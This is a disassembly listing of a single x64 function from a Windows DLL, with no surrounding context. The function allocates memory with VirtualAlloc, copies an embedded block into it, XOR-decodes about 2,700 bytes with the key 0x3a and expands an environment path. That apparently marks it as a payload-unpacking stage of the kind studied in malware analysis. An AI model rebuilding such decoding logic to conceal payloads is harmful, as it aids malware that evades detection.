mov r9d, ebp
mov r8d, esi
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov qword [0x180035290], rax
test rax, rax
je 0x1800152ea
mov edx, dword [0x180035280]
mov rcx, rax
mov r8d, dword [0x1800352b0]
add rdx, 8
add rdx, rdi
call qword [sym.imp.ntdll.dll_memcpy]
mov edx, dword [0x1800352b0]
lea rsi, [0x1800347b0]
mov ecx, dword [0x180035280]
add rdx, rdi
add rcx, 0xc
mov r8d, 0xa88
add rdx, rcx
mov dword [0x1800352ac], r8d
mov rcx, rsi
call qword [sym.imp.ntdll.dll_memcpy]
movsxd rax, dword [0x1800352ac]
test rax, rax
jle 0x18001524e
xor byte [rbx + rsi], 0x3a
inc rbx
cmp rbx, rax
jl 0x180015242
mov esi, 0xc8
lea rcx, [rsp + 0x20]
mov r8d, esi
xor edx, edx
call sub.ntdll.dll_memset
lea rbx, [0x180035014]
mov rcx, rbx
lea r8d, [rsi - 0x64]
lea rdx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.DLL_ExpandEnvironmentStringsW]
mov r8d, esi
xor edx, edx
mov rcx, rbx
call qword [sym.imp.ntdll.dll_memset]
mov r8d, esi
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.ntdll.dll_memcpy]
mov ecx, dword [0x1800352ac]
mov r8, rbp
mov edx, dword [0x1800352b0]
mov eax, dword [0x180035280]
add rdx, rdi
add rdx, rcx
add rax, 0xc
add rdx, rax
lea rcx, [0x1800352a8]
call qword [sym.imp.ntdll.dll_memcpy]
mov edx, dword [0x1800352ac]
add edx, dword [0x1800352b0]
mov ecx, dword [0x180035280]
add ecx, 0x10
add ecx, edx
mov dword [0x180035250], ecx
xor eax, eax
jmp 0x1800152ed
or eax, 0xffffffff
lea r11, [rsp + 0xf0]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret